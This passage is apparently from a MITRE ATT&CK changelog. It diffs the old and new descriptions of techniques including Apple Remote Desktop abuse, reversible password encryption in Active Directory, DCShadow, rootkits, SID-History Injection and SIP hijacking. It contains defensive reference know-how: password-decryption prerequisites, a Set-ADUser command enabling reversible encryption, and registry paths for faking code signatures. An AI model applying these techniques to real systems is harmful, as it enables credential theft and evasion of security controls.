| > | nagement MDM macOS)(Citation: Kickstart Apple Remote Desktop | > | Management MDM macOS)(Citation: Kickstart Apple Remote Desk | ||
| > | commands)(Citation: Apple Remote Desktop Admin Guide 3.3) A | > | top commands)(Citation: Apple Remote Desktop Admin Guide 3.3 | ||
| > | dversaries can abuse applications such as ARD to gain remote | > | ) Adversaries can abuse applications such as ARD to gain rem | ||
| > | code execution and perform lateral movement. In versions of | > | ote code execution and perform lateral movement. In versions | ||
| > | macOS prior to 10.14, an adversary can escalate an SSH sess | > | of macOS prior to 10.14, an adversary can escalate an SSH s | ||
| > | ion to an ARD session which enables an adversary to accept T | > | ession to an ARD session which enables an adversary to accep | ||
| > | CC (Transparency, Consent, and Control) prompts without user | > | t TCC (Transparency, Consent, and Control) prompts without u | ||
| > | interaction and gain access to data.(Citation: FireEye 2019 | > | ser interaction and gain access to data.(Citation: FireEye 2 | ||
| > | Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation | > | 019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citat | ||
| > | : Kickstart Apple Remote Desktop commands) | > | ion: Kickstart Apple Remote Desktop commands) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:48.472000+00:00 | 2026-11-03 21:44:38.216000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to log in using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could log in to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also log in to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may abuse Active Directory authentication encry | t | 1 | An adversary may abuse Active Directory authentication encry |
| > | ption properties to gain access to credentials on Windows sy | > | ption properties to gain access to credentials on Windows sy | ||
| > | stems. The <code>AllowReversiblePasswordEncryption</code> pr | > | stems. The <code>AllowReversiblePasswordEncryption</code> pr | ||
| > | operty specifies whether reversible password encryption for | > | operty specifies whether reversible password encryption for | ||
| > | an account is enabled or disabled. By default this property | > | an account is enabled or disabled. By default this property | ||
| > | is disabled (instead storing user credentials as the output | > | is disabled (instead storing user credentials as the output | ||
| > | of one-way hashing functions) and should not be enabled unle | > | of one-way hashing functions) and should not be enabled unle | ||
| > | ss legacy or other software require it.(Citation: store_pwd_ | > | ss legacy or other software require it.(Citation: store_pwd_ | ||
| > | rev_enc) If the property is enabled and/or a user changes t | > | rev_enc) If the property is enabled and/or a user changes t | ||
| > | heir password after it is enabled, an adversary may be able | > | heir password after it is enabled, an adversary may be able | ||
| > | to obtain the plaintext of passwords created/changed after t | > | to obtain the plaintext of passwords created/changed after t | ||
| > | he property was enabled. To decrypt the passwords, an advers | > | he property was enabled. To decrypt the passwords, an advers | ||
| > | ary needs four components: 1. Encrypted password (<code>G$R | > | ary needs four components: 1. Encrypted password (<code>G$R | ||
| > | ADIUSCHAP</code>) from the Active Directory user-structure < | > | ADIUSCHAP</code>) from the Active Directory user-structure < | ||
| > | code>userParameters</code> 2. 16 byte randomly-generated val | > | code>userParameters</code> 2. 16 byte randomly-generated val | ||
| > | ue (<code>G$RADIUSCHAPKEY</code>) also from <code>userParame | > | ue (<code>G$RADIUSCHAPKEY</code>) also from <code>userParame | ||
| > | ters</code> 3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</c | > | ters</code> 3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</c | ||
| > | ode>) 4. Static key hardcoded in the Remote Access Subauthen | > | ode>) 4. Static key hardcoded in the Remote Access Subauthen | ||
| > | tication DLL (<code>RASSFM.DLL</code>) With this informatio | > | tication DLL (<code>RASSFM.DLL</code>) With this informatio | ||
| > | n, an adversary may be able to reproduce the encryption key | > | n, an adversary may be able to reproduce the encryption key | ||
| > | and subsequently decrypt the encrypted password value.(Citat | > | and subsequently decrypt the encrypted password value.(Citat | ||
| > | ion: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adv | > | ion: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adv | ||
| > | ersary may set this property at various scopes through Local | > | ersary may set this property at various scopes through Local | ||
| > | Group Policy Editor, user properties, Fine-Grained Password | > | Group Policy Editor, user properties, Fine-Grained Password | ||
| > | Policy (FGPP), or via the ActiveDirectory [PowerShell](http | > | Policy (FGPP), or via the ActiveDirectory [PowerShell](http | ||
| > | s://attack.mitre.org/techniques/T1059/001) module. For examp | > | s://attack.mitre.org/techniques/T1059/001) module. For examp | ||
| > | le, an adversary may implement and apply a FGPP to users or | > | le, an adversary may implement and apply an FGPP to users or | ||
| > | groups if the Domain Functional Level is set to "Windows Ser | > | groups if the Domain Functional Level is set to "Windows Se | ||
| > | ver 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShel | > | rver 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShe | ||
| > | l, an adversary may make associated changes to user settings | > | ll, an adversary may make associated changes to user setting | ||
| > | using commands similar to <code>Set-ADUser -AllowReversible | > | s using commands similar to <code>Set-ADUser -AllowReversibl | ||
| > | PasswordEncryption $true</code>. | > | ePasswordEncryption $true</code>. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.718000+00:00 | 2026-11-03 23:24:32.949000+00:00 |
| description | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:
1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters
2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters
3. Global LSA secret (G$MSRADIUSCHAPKEY)
4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)
With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)
An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true. | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:
1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters
2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters
3. Global LSA secret (G$MSRADIUSCHAPKEY)
4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)
With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)
An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true. |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a rogue Domain Controller to enable | t | 1 | Adversaries may register a rogue Domain Controller to enable |
| > | manipulation of Active Directory data. DCShadow may be used | > | manipulation of Active Directory data. DCShadow may be used | ||
| > | to create a rogue Domain Controller (DC). DCShadow is a met | > | to create a rogue Domain Controller (DC). DCShadow is a met | ||
| > | hod of manipulating Active Directory (AD) data, including ob | > | hod of manipulating Active Directory (AD) data, including ob | ||
| > | jects and schemas, by registering (or reusing an inactive re | > | jects and schemas, by registering (or reusing an inactive re | ||
| > | gistration) and simulating the behavior of a DC. (Citation: | > | gistration) and simulating the behavior of a DC.(Citation: D | ||
| > | DCShadow Blog) Once registered, a rogue DC may be able to in | > | CShadow Blog) Once registered, a rogue DC may be able to inj | ||
| > | ject and replicate changes into AD infrastructure for any do | > | ect and replicate changes into AD infrastructure for any dom | ||
| > | main object, including credentials and keys. Registering a | > | ain object, including credentials and keys. Registering a r | ||
| > | rogue DC involves creating a new server and nTDSDSA objects | > | ogue DC involves creating a new server and nTDSDSA objects i | ||
| > | in the Configuration partition of the AD schema, which requi | > | n the Configuration partition of the AD schema, which requir | ||
| > | res Administrator privileges (either Domain or local to the | > | es Administrator privileges (either Domain or local to the D | ||
| > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | > | C) or the KRBTGT hash.(Citation: Adsecurity Mimikatz Guide) | ||
| > | ) This technique may bypass system logging and security mon | > | This technique may bypass system logging and security monit | ||
| > | itors such as security information and event management (SIE | > | ors such as security information and event management (SIEM) | ||
| > | M) products (since actions taken on a rogue DC may not be re | > | products (since actions taken on a rogue DC may not be repo | ||
| > | ported to these sensors). (Citation: DCShadow Blog) The tech | > | rted to these sensors).(Citation: DCShadow Blog) The techniq | ||
| > | nique may also be used to alter and delete replication and o | > | ue may also be used to alter and delete replication and othe | ||
| > | ther associated metadata to obstruct forensic analysis. Adve | > | r associated metadata to obstruct forensic analysis. Adversa | ||
| > | rsaries may also utilize this technique to perform [SID-Hist | > | ries may also utilize this technique to perform [SID-History | ||
| > | ory Injection](https://attack.mitre.org/techniques/T1134/005 | > | Injection](https://attack.mitre.org/techniques/T1134/005) a | ||
| > | ) and/or manipulate AD objects (such as accounts, access con | > | nd/or manipulate AD objects (such as accounts, access contro | ||
| > | trol lists, schemas) to establish backdoors for Persistence. | > | l lists, schemas) to establish backdoors for Persistence.(Ci | ||
| > | (Citation: DCShadow Blog) | > | tation: DCShadow Blog) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.634000+00:00 | 2026-11-04 00:39:50.827000+00:00 |
| description | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.(Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.(Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).(Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.(Citation: DCShadow Blog) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rootkits to hide the presence of program | t | 1 | Adversaries may use rootkits to hide the presence of program |
| > | s, files, network connections, services, drivers, and other | > | s, files, network connections, services, drivers, and other | ||
| > | system components. Rootkits are programs that hide the exist | > | system components. Rootkits are programs that hide the exist | ||
| > | ence of malware by intercepting/hooking and modifying operat | > | ence of malware by intercepting/hooking and modifying operat | ||
| > | ing system API calls that supply system information. (Citati | > | ing system API calls that supply system information.(Citatio | ||
| > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | > | n: Symantec Windows Rootkits) Rootkits or rootkit enabling | ||
| > | g functionality may reside at the user or kernel level in th | > | functionality may reside at the user or kernel level in the | ||
| > | e operating system or lower, to include a hypervisor or [Sys | > | operating system or lower, to include a hypervisor or [Syst | ||
| > | tem Firmware](https://attack.mitre.org/techniques/T1542/001) | > | em Firmware](https://attack.mitre.org/techniques/T1542/001). | ||
| > | . (Citation: Wikipedia Rootkit) Rootkits have been seen for | > | (Citation: Wikipedia Rootkit) Rootkits have been seen for Wi | ||
| > | Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike | > | ndows, Linux, and Mac OS X systems.(Citation: CrowdStrike Li | ||
| > | Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootki | > | nux Rootkit)(Citation: BlackHat Mac OSX Rootkit) Rootkits t | ||
| > | ts that reside or modify boot sectors are known as [Bootkit] | > | hat reside or modify boot sectors are known as [Bootkit](htt | ||
| > | (https://attack.mitre.org/techniques/T1542/003)s and specifi | > | ps://attack.mitre.org/techniques/T1542/003)s and specificall | ||
| > | cally target the boot process of the operating system. | > | y target the boot process of the operating system. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.620000+00:00 | 2026-11-04 00:13:56.835000+00:00 |
| description | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system. | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.(Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001).(Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems.(Citation: CrowdStrike Linux Rootkit)(Citation: BlackHat Mac OSX Rootkit) Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use SID-History Injection to escalate privil | t | 1 | Adversaries may use SID-History Injection to escalate privil |
| > | eges and bypass access controls. The Windows security identi | > | eges and bypass access controls. The Windows security identi | ||
| > | fier (SID) is a unique value that identifies a user or group | > | fier (SID) is a unique value that identifies a user or group | ||
| > | account. SIDs are used by Windows security in both security | > | account. SIDs are used by Windows security in both security | ||
| > | descriptors and access tokens. (Citation: Microsoft SID) An | > | descriptors and access tokens.(Citation: Microsoft SID) An | ||
| > | account can hold additional SIDs in the SID-History Active | > | account can hold additional SIDs in the SID-History Active D | ||
| > | Directory attribute (Citation: Microsoft SID-History Attribu | > | irectory attribute, allowing inter-operable account migratio | ||
| > | te), allowing inter-operable account migration between domai | > | n between domains (e.g., all values in SID-History are inclu | ||
| > | ns (e.g., all values in SID-History are included in access t | > | ded in access tokens).(Citation: Microsoft SID-History Attri | ||
| > | okens). With Domain Administrator (or equivalent) rights, h | > | bute) With Domain Administrator (or equivalent) rights, ha | ||
| > | arvested or well-known SID values (Citation: Microsoft Well | > | rvested or well-known SID values(Citation: Microsoft Well Kn | ||
| > | Known SIDs Jun 2017) may be inserted into SID-History to ena | > | own SIDs Jun 2017) may be inserted into SID-History to enabl | ||
| > | ble impersonation of arbitrary users/groups such as Enterpri | > | e impersonation of arbitrary users/groups such as Enterprise | ||
| > | se Administrators. This manipulation may result in elevated | > | Administrators. This manipulation may result in elevated ac | ||
| > | access to local resources and/or access to otherwise inacces | > | cess to local resources and/or access to otherwise inaccessi | ||
| > | sible domains via lateral movement techniques such as [Remot | > | ble domains via lateral movement techniques such as [Remote | ||
| > | e Services](https://attack.mitre.org/techniques/T1021), [SMB | > | Services](https://attack.mitre.org/techniques/T1021), [SMB/W | ||
| > | /Windows Admin Shares](https://attack.mitre.org/techniques/T | > | indows Admin Shares](https://attack.mitre.org/techniques/T10 | ||
| > | 1021/002), or [Windows Remote Management](https://attack.mit | > | 21/002), or [Windows Remote Management](https://attack.mitre | ||
| > | re.org/techniques/T1021/006). | > | .org/techniques/T1021/006). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.709000+00:00 | 2026-11-04 00:30:16.932000+00:00 |
| description | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.(Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).(Citation: Microsoft SID-History Attribute) With Domain Administrator (or equivalent) rights, harvested or well-known SID values(Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may tamper with SIP and trust provider component | t | 1 | Adversaries may tamper with SIP and trust provider component |
| > | s to mislead the operating system and application control to | > | s to mislead the operating system and application control to | ||
| > | ols when conducting signature validation checks. In user mod | > | ols when conducting signature validation checks. In user mod | ||
| > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | > | e, Windows Authenticode(Citation: Microsoft Authenticode) di | ||
| > | igital signatures are used to verify a file's origin and int | > | gital signatures are used to verify a file's origin and inte | ||
| > | egrity, variables that may be used to establish trust in sig | > | grity, variables that may be used to establish trust in sign | ||
| > | ned code (ex: a driver with a valid Microsoft signature may | > | ed code (ex: a driver with a valid Microsoft signature may b | ||
| > | be handled as safe). The signature validation process is han | > | e handled as safe). The signature validation process is hand | ||
| > | dled via the WinVerifyTrust application programming interfac | > | led via the WinVerifyTrust application programming interface | ||
| > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | > | (API) function,(Citation: Microsoft WinVerifyTrust) which a | ||
| > | h accepts an inquiry and coordinates with the appropriate tr | > | ccepts an inquiry and coordinates with the appropriate trust | ||
| > | ust provider, which is responsible for validating parameters | > | provider, which is responsible for validating parameters of | ||
| > | of a signature. (Citation: SpectorOps Subverting Trust Sept | > | a signature.(Citation: SpectorOps Subverting Trust Sept 201 | ||
| > | 2017) Because of the varying executable file types and cor | > | 7) Because of the varying executable file types and corresp | ||
| > | responding signature formats, Microsoft created software com | > | onding signature formats, Microsoft created software compone | ||
| > | ponents called Subject Interface Packages (SIPs) (Citation: | > | nts called Subject Interface Packages (SIPs)(Citation: Eduar | ||
| > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | > | dosBlog SIPs July 2008) to provide a layer of abstraction be | ||
| > | on between API functions and files. SIPs are responsible for | > | tween API functions and files. SIPs are responsible for enab | ||
| > | enabling API functions to create, retrieve, calculate, and | > | ling API functions to create, retrieve, calculate, and verif | ||
| > | verify signatures. Unique SIPs exist for most file formats ( | > | y signatures. Unique SIPs exist for most file formats (Execu | ||
| > | Executable, PowerShell, Installer, etc., with catalog signin | > | table, PowerShell, Installer, etc., with catalog signing pro | ||
| > | g providing a catch-all (Citation: Microsoft Catalog Files | > | viding a catch-all)(Citation: Microsoft Catalog Files and Si | ||
| > | and Signatures April 2017)) and are identified by globally u | > | gnatures April 2017) and are identified by globally unique i | ||
| > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | > | dentifiers (GUIDs).(Citation: SpectorOps Subverting Trust Se | ||
| > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | > | pt 2017) Similar to [Code Signing](https://attack.mitre.org | ||
| > | itre.org/techniques/T1553/002), adversaries may abuse this a | > | /techniques/T1553/002), adversaries may abuse this architect | ||
| > | rchitecture to subvert trust controls and bypass security po | > | ure to subvert trust controls and bypass security policies t | ||
| > | licies that allow only legitimately signed code to execute o | > | hat allow only legitimately signed code to execute on a syst | ||
| > | n a system. Adversaries may hijack SIP and trust provider co | > | em. Adversaries may hijack SIP and trust provider components | ||
| > | mponents to mislead operating system and application control | > | to mislead operating system and application control tools t | ||
| > | tools to classify malicious (or any) code as signed by: (Ci | > | o classify malicious (or any) code as signed by:(Citation: S | ||
| > | tation: SpectorOps Subverting Trust Sept 2017) * Modifying | > | pectorOps Subverting Trust Sept 2017) * Modifying the <code | ||
| > | the <code>Dll</code> and <code>FuncName</code> Registry valu | > | >Dll</code> and <code>FuncName</code> Registry values in <co | ||
| > | es in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptograp | > | de>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\En | ||
| > | hy\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} | > | codingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</code> t | ||
| > | </code> that point to the dynamic link library (DLL) providi | > | hat point to the dynamic link library (DLL) providing a SIP’ | ||
| > | ng a SIP’s CryptSIPDllGetSignedDataMsg function, which retri | > | s CryptSIPDllGetSignedDataMsg function, which retrieves an e | ||
| > | eves an encoded digital certificate from a signed file. By p | > | ncoded digital certificate from a signed file. By pointing t | ||
| > | ointing to a maliciously-crafted DLL with an exported functi | > | o a maliciously-crafted DLL with an exported function that a | ||
| > | on that always returns a known good signature value (ex: a M | > | lways returns a known good signature value (ex: a Microsoft | ||
| > | icrosoft signature for Portable Executables) rather than the | > | signature for Portable Executables) rather than the file’s r | ||
| > | file’s real signature, an adversary can apply an acceptable | > | eal signature, an adversary can apply an acceptable signatur | ||
| > | signature value to all files using that SIP (Citation: GitH | > | e value to all files using that SIP(Citation: GitHub SIP POC | ||
| > | ub SIP POC Sept 2017) (although a hash mismatch will likely | > | Sept 2017) (although a hash mismatch will likely occur, inv | ||
| > | occur, invalidating the signature, since the hash returned b | > | alidating the signature, since the hash returned by the func | ||
| > | y the function will not match the value computed from the fi | > | tion will not match the value computed from the file). * Mod | ||
| > | le). * Modifying the <code>Dll</code> and <code>FuncName</co | > | ifying the <code>Dll</code> and <code>FuncName</code> Regist | ||
| > | de> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Mic | > | ry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cry | ||
| > | rosoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndi | > | ptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{ | ||
| > | rectData\{SIP_GUID}</code> that point to the DLL providing a | > | SIP_GUID}</code> that point to the DLL providing a SIP’s Cry | ||
| > | SIP’s CryptSIPDllVerifyIndirectData function, which validat | > | ptSIPDllVerifyIndirectData function, which validates a file’ | ||
| > | es a file’s computed hash against the signed hash value. By | > | s computed hash against the signed hash value. By pointing t | ||
| > | pointing to a maliciously-crafted DLL with an exported funct | > | o a maliciously-crafted DLL with an exported function that a | ||
| > | ion that always returns TRUE (indicating that the validation | > | lways returns TRUE (indicating that the validation was succe | ||
| > | was successful), an adversary can successfully validate any | > | ssful), an adversary can successfully validate any file (wit | ||
| > | file (with a legitimate signature) using that SIP (Citation | > | h a legitimate signature) using that SIP(Citation: GitHub SI | ||
| > | : GitHub SIP POC Sept 2017) (with or without hijacking the p | > | P POC Sept 2017) (with or without hijacking the previously m | ||
| > | reviously mentioned CryptSIPDllGetSignedDataMsg function). T | > | entioned CryptSIPDllGetSignedDataMsg function). This Registr | ||
| > | his Registry value could also be redirected to a suitable ex | > | y value could also be redirected to a suitable exported func | ||
| > | ported function from an already present DLL, avoiding the re | > | tion from an already present DLL, avoiding the requirement t | ||
| > | quirement to drop and execute a new file on disk. * Modifyin | > | o drop and execute a new file on disk. * Modifying the <code | ||
| > | g the <code>DLL</code> and <code>Function</code> Registry va | > | >DLL</code> and <code>Function</code> Registry values in <co | ||
| > | lues in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptogr | > | de>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Provid | ||
